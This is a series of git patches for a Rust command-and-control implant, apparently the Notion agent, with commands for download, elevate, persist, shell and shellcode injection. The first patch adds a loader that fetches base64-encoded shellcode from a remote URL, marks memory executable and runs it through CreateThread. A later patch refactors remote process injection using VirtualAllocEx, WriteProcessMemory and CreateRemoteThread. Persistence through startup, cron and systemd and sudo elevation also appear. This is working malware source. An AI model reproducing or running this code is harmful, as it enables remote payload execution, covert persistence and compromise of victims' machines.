From 83e8db39e1cd0cf9bd8be40942c2100af95d4f64 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 5 Mar 2022 11:37:30 -0800 Subject: [PATCH 01/99] createthread injection prototype --- agent/Cargo.toml | 2 +- agent/src/cmd/createthread.rs | 186 ++++++++++++++++++++++++++++++++++ agent/src/cmd/mod.rs | 6 +- 3 files changed, 192 insertions(+), 2 deletions(-) create mode 100644 agent/src/cmd/createthread.rs diff --git a/agent/Cargo.toml b/agent/Cargo.toml index 9bffe15..0910d85 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -26,7 +26,7 @@ embed-resource = "1.6" [target.'cfg(windows)'.dependencies] kernel32-sys = "0.2.2" -winapi = { version = "0.3", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } +winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } winreg = "0.10" [profile.dev] diff --git a/agent/src/cmd/createthread.rs b/agent/src/cmd/createthread.rs new file mode 100644 index 0000000..38a9231 --- /dev/null +++ b/agent/src/cmd/createthread.rs @@ -0,0 +1,186 @@ +use std::error::Error; +use crate::logger::Logger; +#[cfg(windows)] use base64::decode as b64_decode; +extern crate kernel32; +use winapi::um::winnt::{PVOID, PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READ}; +use std::ptr; +use std::io; +use std::io::prelude::*; +use std::io::{stdin, stdout, Read, Write}; +use winapi::um::errhandlingapi; +use winapi::um::processthreadsapi; +use winapi::um::winbase; +use winapi::um::synchapi::WaitForSingleObject; +use std::process; +#[cfg(windows)] use reqwest::Client; + +type DWORD = u32; + +pub async fn handle(base64_string: &String, logger: &Logger) -> Result> { + #[cfg(windows)] { + // Input: url to shellcode -p pid + let mut args = base64_string.split(" "); + + // Set up our variables; each one could fail on us. + // Yes this is a lot of verbose error checking, but this + // has to be rock solid or the agent will die. + let mut url: &str; + let mut b64_iterations: u32; + + // Get URL + match args.nth(0) { + Some(u) => { + logger.debug(format!("Shellcode URL: {}", &u)); + url = u; + }, + None => { return Ok("Could not parse URL".to_string()); } + }; + + // Get b64_iterations + match args.nth(0) { + Some(bs) => { + if let Ok(b) = bs.parse::() { + b64_iterations = b; + } else { + return Ok("Could not parse b64 iterations".to_string()); + } + }, + None => { return Ok("Could not extract b64 iterations".to_string()); } + }; + + logger.debug(format!("Injecting into current process...")); + let client = Client::new(); + if let Ok(r) = client.get(url).send().await { + if r.status().is_success() { + logger.info(format!("Got the shellcode")); + // Get the shellcode. Now we have to decode it + let mut shellcode_encoded: Vec; + let mut shellcode_string: String; + let mut shellcode: Vec; + if let Ok(sc) = r.text().await { + shellcode_encoded = Vec::from(sc.trim().as_bytes()); + logger.info(format!("Got encoded bytes")); + for i in 0..b64_iterations { + logger.debug(format!("Decode iteration: {i}")); + match b64_decode(shellcode_encoded) { + Ok(d) => { + shellcode_encoded = d + .into_iter() + .filter(|&b| b != 0x0a) + .collect(); + }, + Err(e) => { return Ok(e.to_string()); } + }; + + } + // Convert bytes to our proper string + shellcode_string = String::from_utf8(shellcode_encoded)?; + // At this point, we have the comma-separated "0xNN" form of the shellcode. + // We need to get each one until a proper u8. + shellcode = shellcode_string + .split(",") + .map(|s| s.replace("0x", "")) + .map(|s| s.replace(" ", "")) + .map(|s|{ + match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0 + } + }) + .collect(); + + } else { + let err_msg = "Could not decode shellcode"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + + unsafe{ + let base_addr = kernel32::VirtualAlloc( + ptr::null_mut(), + shellcode.len().try_into().unwrap(), + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + + if base_addr.is_null() { + println!("[-] Couldn't allocate memory to current proc.") + } else { + println!("[+] Allocated memory to current proc."); + } + + // copy shellcode into mem + println!("[*] Copying Shellcode to address in current proc."); + std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); + println!("[*] Copied..."); + + + // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` + println!("[*] Changing mem protections to RX..."); + + let mut old_protect: DWORD = PAGE_READWRITE; + + let mem_protect = kernel32::VirtualProtect ( + base_addr, + shellcode.len() as u64, + PAGE_EXECUTE_READ, + &mut old_protect + ); + + if mem_protect == 0 { + let error = errhandlingapi::GetLastError(); + println!("[-] Error: {}", error.to_string()); + process::exit(0x0100); + } + + // Call CreateThread + + println!("[*] Calling CreateThread..."); + + let mut tid = 0; + let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; + + let h_thread = processthreadsapi::CreateThread( + ptr::null_mut(), + 0, + Some(ep), + ptr::null_mut(), + 0, + &mut tid + ); + + if h_thread.is_null() { + let error = unsafe { errhandlingapi::GetLastError() }; + println!("{}", error.to_string()) + + } else { + println!("[+] Thread Id: {}", tid) + } + + // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running + + println!("[*] Calling WaitForSingleObject..."); + + let status = WaitForSingleObject(h_thread, winbase::INFINITE); + if status == 0 { + println!("[+] Good!") + } else { + let error = errhandlingapi::GetLastError(); + println!("{}", error.to_string()) + } + } + + return Ok("Injection completed!".to_string()); + } else { + return Ok("Could not download shellcode".to_string()); + } + + } else { + return Ok(format!("Could not download from {url}")); + } + } + + #[cfg(not(windows))] { + Ok("Can only inject shellcode on Windows!".to_string()) + } +} \ No newline at end of file diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index c6107cc..2269158 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -22,6 +22,7 @@ mod sleep; mod shutdown; mod whoami; mod unknown; +mod createthread; /// All the possible command types. Some have command strings, and some don't. pub enum CommandType { @@ -30,6 +31,7 @@ pub enum CommandType { Elevate(String), Getprivs, Inject(String), + CreateThread(String), Portscan(String), Persist(String), Ps, @@ -77,6 +79,7 @@ impl NotionCommand { ); let command_type: CommandType = match t { "cd" => CommandType::Cd(command_string), + "createthread" => CommandType::CreateThread(command_string), "download" => CommandType::Download(command_string), "elevate" => CommandType::Elevate(command_string), "getprivs" => CommandType::Getprivs, @@ -117,7 +120,8 @@ impl NotionCommand { CommandType::Shutdown => shutdown::handle().await, CommandType::Sleep(s) => sleep::handle(&s, config_options).await, CommandType::Whoami => whoami::handle().await, - CommandType::Unknown(_) => unknown::handle().await + CommandType::Unknown(_) => unknown::handle().await, + CommandType::CreateThread(s) => createthread::handle(&s, logger).await } } } \ No newline at end of file From d5437a0f930e8d77fc8045eede2009d9e265bd60 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 5 Mar 2022 12:59:09 -0800 Subject: [PATCH 02/99] createthread injection prototype --- agent/src/cmd/createthread.rs | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/agent/src/cmd/createthread.rs b/agent/src/cmd/createthread.rs index 38a9231..d000802 100644 --- a/agent/src/cmd/createthread.rs +++ b/agent/src/cmd/createthread.rs @@ -1,17 +1,17 @@ use std::error::Error; use crate::logger::Logger; #[cfg(windows)] use base64::decode as b64_decode; -extern crate kernel32; -use winapi::um::winnt::{PVOID, PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READ}; -use std::ptr; -use std::io; -use std::io::prelude::*; -use std::io::{stdin, stdout, Read, Write}; -use winapi::um::errhandlingapi; -use winapi::um::processthreadsapi; -use winapi::um::winbase; -use winapi::um::synchapi::WaitForSingleObject; -use std::process; +#[cfg(windows)]extern crate kernel32; +#[cfg(windows)]use winapi::um::winnt::{PVOID, PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READ}; +#[cfg(windows)]use std::ptr; +#[cfg(windows)]use std::io; +#[cfg(windows)]use std::io::prelude::*; +#[cfg(windows)]use std::io::{stdin, stdout, Read, Write}; +#[cfg(windows)]use winapi::um::errhandlingapi; +#[cfg(windows)]use winapi::um::processthreadsapi; +#[cfg(windows)]use winapi::um::winbase; +#[cfg(windows)]use winapi::um::synchapi::WaitForSingleObject; +#[cfg(windows)]use std::process; #[cfg(windows)] use reqwest::Client; type DWORD = u32; From 994b6597e560b624e280c7aedff9b4f6c2ddd5fd Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 22:21:34 -0800 Subject: [PATCH 03/99] Begin refactor for arg vecs --- agent/src/cmd/mod.rs | 85 ++++++++++++++++++++++---------------------- 1 file changed, 43 insertions(+), 42 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 2269158..ba5963d 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -26,23 +26,23 @@ mod createthread; /// All the possible command types. Some have command strings, and some don't. pub enum CommandType { - Cd(String), - Download(String), - Elevate(String), + Cd, + Download, + Elevate, Getprivs, - Inject(String), - CreateThread(String), - Portscan(String), - Persist(String), + Inject, + CreateThread, + Portscan, + Persist, Ps, Pwd, - Save(String), - Runas(String), - Shell(String), + Save, + Runas, + Shell, Shutdown, - Sleep(String), + Sleep, Whoami, - Unknown(String) + Unknown } /// Simple errors for the construction of a NotionCommand. @@ -61,6 +61,7 @@ impl Error for CommandError {} /// The command itself, containing the `CommandType` enum pub struct NotionCommand { pub command_type: CommandType, + pub args: Vec } impl NotionCommand { @@ -72,31 +73,31 @@ impl NotionCommand { // The call to this function clears the target emoji // TODO: Maybe do that here? if let Some(t) = command_words.nth(0) { - let command_string = String::from( - command_words.collect::>() - .as_slice() - .join::<&str>(" ") - ); + + let command_args: Vec = command_words + .map(|a| a.trim().to_string()) + .collect(); + let command_type: CommandType = match t { - "cd" => CommandType::Cd(command_string), - "createthread" => CommandType::CreateThread(command_string), - "download" => CommandType::Download(command_string), - "elevate" => CommandType::Elevate(command_string), + "cd" => CommandType::Cd, + "createthread" => CommandType::CreateThread, + "download" => CommandType::Download, + "elevate" => CommandType::Elevate, "getprivs" => CommandType::Getprivs, - "inject" => CommandType::Inject(command_string), - "persist" => CommandType::Persist(command_string), - "portscan" => CommandType::Portscan(command_string), + "inject" => CommandType::Inject, + "persist" => CommandType::Persist, + "portscan" => CommandType::Portscan, "ps" => CommandType::Ps, "pwd" => CommandType::Pwd, - "runas" => CommandType::Runas(command_string), - "save" => CommandType::Save(command_string), - "shell" => CommandType::Shell(command_string), + "runas" => CommandType::Runas, + "save" => CommandType::Save, + "shell" => CommandType::Shell, "shutdown" => CommandType::Shutdown, - "sleep" => CommandType::Sleep(command_string), + "sleep" => CommandType::Sleep, "whoami" => CommandType::Whoami, - _ => CommandType::Unknown(command_string), + _ => CommandType::Unknown, }; - return Ok(NotionCommand { command_type: command_type}); + return Ok(NotionCommand { command_type: command_type, args: command_args}); } else { Err(CommandError("Could not parse command!".to_string())) @@ -105,23 +106,23 @@ impl NotionCommand { /// Executes the appropriate function for the `command_type`. pub async fn handle(&self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { match &self.command_type { - CommandType::Cd(s) => cd::handle(&s), - CommandType::Download(s) => download::handle(&s, logger).await, - CommandType::Elevate(s) => elevate::handle(&s, config_options).await, + CommandType::Cd => cd::handle(self.args), + CommandType::Download => download::handle(self.args, logger).await, + CommandType::Elevate => elevate::handle(self.args, config_options).await, CommandType::Getprivs => getprivs::handle().await, - CommandType::Inject(s) => inject::handle(&s, logger).await, - CommandType::Persist(s) => persist::handle(&s, config_options, logger).await, - CommandType::Portscan(s) => portscan::handle(&s, logger).await, + CommandType::Inject => inject::handle(self.args, logger).await, + CommandType::Persist => persist::handle(self.args, config_options, logger).await, + CommandType::Portscan => portscan::handle(self.args, logger).await, CommandType::Ps => ps::handle().await, CommandType::Pwd => pwd::handle().await, - CommandType::Runas(s) => runas::handle(&s).await, - CommandType::Save(s) => save::handle(&s, config_options).await, - CommandType::Shell(s) => shell::handle(&s).await, + CommandType::Runas => runas::handle(self.args).await, + CommandType::Save => save::handle(self.args, config_options).await, + CommandType::Shell => shell::handle(self.args).await, CommandType::Shutdown => shutdown::handle().await, - CommandType::Sleep(s) => sleep::handle(&s, config_options).await, + CommandType::Sleep => sleep::handle(self.args, config_options).await, CommandType::Whoami => whoami::handle().await, - CommandType::Unknown(_) => unknown::handle().await, - CommandType::CreateThread(s) => createthread::handle(&s, logger).await + CommandType::Unknown => unknown::handle().await, + CommandType::CreateThread => createthread::handle(self.args, logger).await } } } \ No newline at end of file From 4f03db637d65c6866d761d8954a880613faf7862 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 22:22:02 -0800 Subject: [PATCH 04/99] Update cd for arg vecs --- agent/src/cmd/cd.rs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index a5500d2..93281a1 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -4,10 +4,11 @@ use std::env::set_current_dir; /// Changes the directory using system tools /// Rather than the shell -pub fn handle(s: &String) -> Result> { - let new_path = Path::new(s.trim()); +pub fn handle(cmd_args: Vec) -> Result> { + let path_arg = cmd_args[0]; + let new_path = Path::new(&path_arg); match set_current_dir(new_path) { - Ok(_) => Ok(format!("Changed to {s}").to_string()), + Ok(_) => Ok(format!("Changed to {path_arg}").to_string()), Err(e) => Ok(e.to_string()) } } From c5513241868cbe0204fc38d40e01d5b0edb0a99e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:17:49 -0800 Subject: [PATCH 05/99] Build CommandArgs struct --- agent/src/cmd/mod.rs | 56 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 51 insertions(+), 5 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index ba5963d..9e61999 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -1,6 +1,8 @@ // Standard Library Imports use std::error::Error; +use std::iter::Iterator; use std::result::Result; +use core::str::Split; use std::fmt; // Local imports use crate::config::ConfigOptions; @@ -49,6 +51,7 @@ pub enum CommandType { /// Returned if construction fails. #[derive(Debug)] pub struct CommandError(String); +impl Error for CommandError {} impl fmt::Display for CommandError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { @@ -56,12 +59,57 @@ impl fmt::Display for CommandError { } } -impl Error for CommandError {} +/// A custom struct for our command arguments +/// This allow easier passing and safety for them. +/// +/// As an `Iterator`, `CommandArgs` and be unwrapped with default +/// values as a safety for missing or malformed args. +pub struct CommandArgs { + items: Vec, + count: usize +} + + +impl CommandArgs { + + /// Default constructor for `CommandArgs`. + /// + /// We're not actually using this yet, but it's good to have. + pub fn new(args: Vec ) -> CommandArgs { + CommandArgs { items: args, count: 0 } + } + + /// This is the constructor we use to build `CommandArgs` from + /// the incoming `Split<&str>`. It might seem goofy, but + /// it's a clean way to get the first arg and then build our + /// `CommandArgs`. + pub fn from_split(args_split: Split<&str> ) -> CommandArgs { + let items: Vec = args_split + .map(|a| a.trim().to_string()) + .collect(); + CommandArgs { items: items, count: 0 } + } +} + +impl Iterator for CommandArgs { + type Item = String; + + fn next(&mut self) -> Option { + + if self.items.len() > self.count { + self.count += 1; + Some(self.items[self.count - 1]) + } else { + None + } + } +}; + /// The command itself, containing the `CommandType` enum pub struct NotionCommand { pub command_type: CommandType, - pub args: Vec + pub args: CommandArgs } impl NotionCommand { @@ -74,9 +122,7 @@ impl NotionCommand { // TODO: Maybe do that here? if let Some(t) = command_words.nth(0) { - let command_args: Vec = command_words - .map(|a| a.trim().to_string()) - .collect(); + let command_args = CommandArgs::from_split(command_words); let command_type: CommandType = match t { "cd" => CommandType::Cd, From 85423184dde48ee91cd7b8b4056545c26c182b6d Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:18:00 -0800 Subject: [PATCH 06/99] Refactor for CommandArgs --- agent/src/cmd/cd.rs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index 93281a1..ac98b4d 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -1,11 +1,12 @@ use std::error::Error; use std::path::Path; use std::env::set_current_dir; +use crate::cmd::CommandArgs; /// Changes the directory using system tools /// Rather than the shell -pub fn handle(cmd_args: Vec) -> Result> { - let path_arg = cmd_args[0]; +pub fn handle(cmd_args: CommandArgs) -> Result> { + let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string()); let new_path = Path::new(&path_arg); match set_current_dir(new_path) { Ok(_) => Ok(format!("Changed to {path_arg}").to_string()), From 119925a8fb96ad8a4bd828d72ebb56b20bef0e25 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:20:53 -0800 Subject: [PATCH 07/99] Refactor download for CommandArgs --- agent/src/cmd/download.rs | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/agent/src/cmd/download.rs b/agent/src/cmd/download.rs index 4c41bc8..bfba204 100755 --- a/agent/src/cmd/download.rs +++ b/agent/src/cmd/download.rs @@ -2,6 +2,7 @@ use std::error::Error; use std::io::copy; use reqwest::Client; use std::fs::File; +use crate::cmd::CommandArgs; use crate::logger::Logger; /// Downloads a file to the local system. @@ -9,18 +10,16 @@ use crate::logger::Logger; /// Usage: `download [url] [path]`. /// /// Defaults the the end of the URL without path option -pub async fn handle(s: &String, logger: &Logger) -> Result> { +pub async fn handle(mut cmd_args: CommandArgs, logger: &Logger) -> Result> { let client = Client::new(); - // Get args - let mut args = s.trim().split(" "); // Get URL as the first arg - let url = args.nth(0).unwrap_or_else(|| ""); + let url: String = cmd_args.nth(0).unwrap_or_else(|| "".to_string()); // Get path as the 2nd arg or the last part of the URL - let path = args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap()); + let path: String = cmd_args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap().to_string()); logger.debug(format!("Downloading from {url} to {path}")); let r = client.get(url).send().await?; if r.status().is_success() { - if let Ok(mut out_file) = File::create(path) { + if let Ok(mut out_file) = File::create(&path) { match copy(&mut r.bytes().await?.as_ref(), &mut out_file) { Ok(b) => { return Ok(format!("{b} bytes written to {path}").to_string());}, Err(_) => { return Ok("Could not write file".to_string()); } From 57f87e145f0ae4b6f3045add9fcf404d1a582c37 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:26:28 -0800 Subject: [PATCH 08/99] Refactor elevate for CommandArgs --- agent/src/cmd/elevate.rs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index a9f1ee6..c956b5c 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -2,6 +2,7 @@ use std::error::Error; use sysinfo::{System, SystemExt, UserExt}; use whoami::username; use crate::config::ConfigOptions; +use crate::cmd::CommandArgs; use std::env::args; use std::process::Command; #[cfg(windows)] use std::env::{var}; @@ -45,13 +46,12 @@ pub fn can_elevate() -> bool { /// /// Because we can't wait for the output of the child process, /// we toss the handle. -pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { +pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOptions) -> Result> { if can_elevate() { - let mut elevate_args = s.split(" "); #[cfg(not(windows))] { - match elevate_args.nth(0).unwrap().trim() { + match cmd_args.nth(0).unwrap().as_str() { "sudo" => { - let pwd = elevate_args.nth(0).unwrap(); + let pwd = cmd_args.nth(0).unwrap(); // Check for empty pw if pwd.is_empty() { return Ok("Need a sudo password!".to_string()); @@ -70,7 +70,7 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result { if let Ok(v) = var("APPDATA") { let mut persist_path: String = v; From f1fbfab00c043762dcfa1f6babe0830f78a4a07a Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:33:12 -0800 Subject: [PATCH 09/99] Refactor inject for CommandArgs (and build stup fn for Linux) --- agent/src/cmd/inject.rs | 223 ++++++++++++++++++++-------------------- 1 file changed, 111 insertions(+), 112 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 7df7564..ee5160b 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -1,5 +1,6 @@ use std::error::Error; use crate::logger::Logger; +use crate::cmd::CommandArgs; #[cfg(windows)] use base64::decode as b64_decode; #[cfg(windows)] extern crate winapi; #[cfg(windows)] extern crate kernel32; @@ -22,127 +23,125 @@ use crate::logger::Logger; /// Usage: `inject [shellcode_url] [pid] [b64_iterations] 🎯` /// /// On Linux, the payload will be downloaded and executed like a regular dropper. -pub async fn handle(base64_string: &String, logger: &Logger) -> Result> { - #[cfg(windows)] { - // Input: url to shellcode -p pid - let mut args = base64_string.split(" "); +#[cfg(windows)] +pub async fn handle(mut cmd_args: CommandArgs, logger: &Logger) -> Result> { - // Set up our variables; each one could fail on us. - // Yes this is a lot of verbose error checking, but this - // has to be rock solid or the agent will die. - let mut url: &str; - let mut pid: u32; - let mut b64_iterations: u32; + // Set up our variables; each one could fail on us. + // Yes this is a lot of verbose error checking, but this + // has to be rock solid or the agent will die. + let mut url: &str; + let mut pid: u32; + let mut b64_iterations: u32; - // Get URL - match args.nth(0) { - Some(u) => { - logger.debug(format!("Shellcode URL: {}", &u)); - url = u; - }, - None => { return Ok("Could not parse URL".to_string()); } - }; + // Get URL + match cmd_args.nth(0) { + Some(u) => { + logger.debug(format!("Shellcode URL: {}", &u)); + url = u; + }, + None => { return Ok("Could not parse URL".to_string()); } + }; - // Get pid - match args.nth(0) { - Some(ps) => { - if let Ok(p) = ps.parse::() { - logger.debug(format!("Injecting into PID: {:?}", &p)); - pid = p; - } else { - let err_msg = "Could not parse PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } - }, - None => { - let err_msg = "Could not extract PID"; + // Get pid + match cmd_args.nth(0) { + Some(ps) => { + if let Ok(p) = ps.parse::() { + logger.debug(format!("Injecting into PID: {:?}", &p)); + pid = p; + } else { + let err_msg = "Could not parse PID"; logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); + return Ok(err_msg.to_string()); } - }; + }, + None => { + let err_msg = "Could not extract PID"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + }; - // Get b64_iterations - match args.nth(0) { - Some(bs) => { - if let Ok(b) = bs.parse::() { - b64_iterations = b; - } else { - return Ok("Could not parse b64 iterations".to_string()); - } - }, - None => { return Ok("Could not extract b64 iterations".to_string()); } - }; + // Get b64_iterations + match cmd_args.nth(0) { + Some(bs) => { + if let Ok(b) = bs.parse::() { + b64_iterations = b; + } else { + return Ok("Could not parse b64 iterations".to_string()); + } + }, + None => { return Ok("Could not extract b64 iterations".to_string()); } + }; - logger.debug(format!("Injecting into PID {:?}", pid)); - let client = Client::new(); - if let Ok(r) = client.get(url).send().await { - if r.status().is_success() { - logger.info(format!("Got the shellcode")); - // Get the shellcode. Now we have to decode it - let mut shellcode_encoded: Vec; - let mut shellcode_string: String; - let mut shellcode: Vec; - if let Ok(sc) = r.text().await { - shellcode_encoded = Vec::from(sc.trim().as_bytes()); - logger.info(format!("Got encoded bytes")); - for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); - match b64_decode(shellcode_encoded) { - Ok(d) => { - shellcode_encoded = d - .into_iter() - .filter(|&b| b != 0x0a) - .collect(); - }, - Err(e) => { return Ok(e.to_string()); } - }; - - } - // Convert bytes to our proper string - shellcode_string = String::from_utf8(shellcode_encoded)?; - // At this point, we have the comma-separated "0xNN" form of the shellcode. - // We need to get each one until a proper u8. - shellcode = shellcode_string - .split(",") - .map(|s| s.replace("0x", "")) - .map(|s| s.replace(" ", "")) - .map(|s|{ - match u8::from_str_radix(&s, 16) { - Ok(b) => b, - Err(_) => 0 - } - }) - .collect(); - - } else { - let err_msg = "Could not decode shellcode"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); + logger.debug(format!("Injecting into PID {:?}", pid)); + let client = Client::new(); + if let Ok(r) = client.get(url).send().await { + if r.status().is_success() { + logger.info(format!("Got the shellcode")); + // Get the shellcode. Now we have to decode it + let mut shellcode_encoded: Vec; + let mut shellcode_string: String; + let mut shellcode: Vec; + if let Ok(sc) = r.text().await { + shellcode_encoded = Vec::from(sc.trim().as_bytes()); + logger.info(format!("Got encoded bytes")); + for i in 0..b64_iterations { + logger.debug(format!("Decode iteration: {i}")); + match b64_decode(shellcode_encoded) { + Ok(d) => { + shellcode_encoded = d + .into_iter() + .filter(|&b| b != 0x0a) + .collect(); + }, + Err(e) => { return Ok(e.to_string()); } + }; + } - - - // Big thanks to trickster0 - // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread - unsafe { - let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); - let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); - let mut n = 0; - kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); - let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); - kernel32::CloseHandle(h); - } - return Ok("Injection completed!".to_string()); + // Convert bytes to our proper string + shellcode_string = String::from_utf8(shellcode_encoded)?; + // At this point, we have the comma-separated "0xNN" form of the shellcode. + // We need to get each one until a proper u8. + shellcode = shellcode_string + .split(",") + .map(|s| s.replace("0x", "")) + .map(|s| s.replace(" ", "")) + .map(|s|{ + match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0 + } + }) + .collect(); + } else { - return Ok("Could not download shellcode".to_string()); - } + let err_msg = "Could not decode shellcode"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + + // Big thanks to trickster0 + // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread + unsafe { + let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); + let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); + let mut n = 0; + kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); + let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); + kernel32::CloseHandle(h); + } + return Ok("Injection completed!".to_string()); } else { - return Ok(format!("Could not download from {url}")); - } - } - - #[cfg(not(windows))] { - Ok("Can only inject shellcode on Windows!".to_string()) - } + return Ok("Could not download shellcode".to_string()); + } + + } else { + return Ok(format!("Could not download from {url}")); + } +} + +#[cfg(not(windows))] +pub async fn handle(cmd_args: CommandArgs, logger: &Logger) -> Result> { + Ok("Can only inject shellcode on Windows!".to_string()) } \ No newline at end of file From fd648277f2f10a4be663c043a87be37b4a153caa Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:39:09 -0800 Subject: [PATCH 10/99] Refactor persist for CommandArgs --- agent/src/cmd/persist.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 61ae323..6059973 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -1,7 +1,7 @@ use std::error::Error; use std::env::{var, args}; use is_root::is_root; -use crate::cmd::{shell, save}; +use crate::cmd::{CommandArgs, shell, save}; #[cfg(not(windows))] use std::fs::{create_dir, copy, write}; #[cfg(windows)] use std::path::Path; #[cfg(windows)] use winreg::{RegKey}; @@ -26,10 +26,10 @@ use crate::logger::Logger; /// /// * `cron`: Writes a cronjob to the user's crontab and saves the agent in the home folder /// * `systemd`: Creates a systemd service and writes the binary someplace special -pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { +pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { // `persist [method] [args]` #[cfg(windows)] { - match s.trim() { + match cmd_args.nth(0).unwrap().as_str() { "startup" => { // Get user if let Ok(v) = var("APPDATA") { @@ -183,7 +183,7 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Log let app_dir = format!("{home}/.notion"); let dest_path = format!("{app_dir}/notion"); - match s.trim() { + match cmd_args.nth(0).unwrap_or_default().as_str() { "cron" => { // Copy the app to a new folder match create_dir(&app_dir) { From 12d660d56a49e11ee3ab9ccae2bae0e7eaf212ca Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 5 Mar 2022 23:46:05 -0800 Subject: [PATCH 11/99] Add Debug to CommandArgs --- agent/src/cmd/mod.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 9e61999..7ed9469 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -64,6 +64,7 @@ impl fmt::Display for CommandError { /// /// As an `Iterator`, `CommandArgs` and be unwrapped with default /// values as a safety for missing or malformed args. +#[derive(Debug)] pub 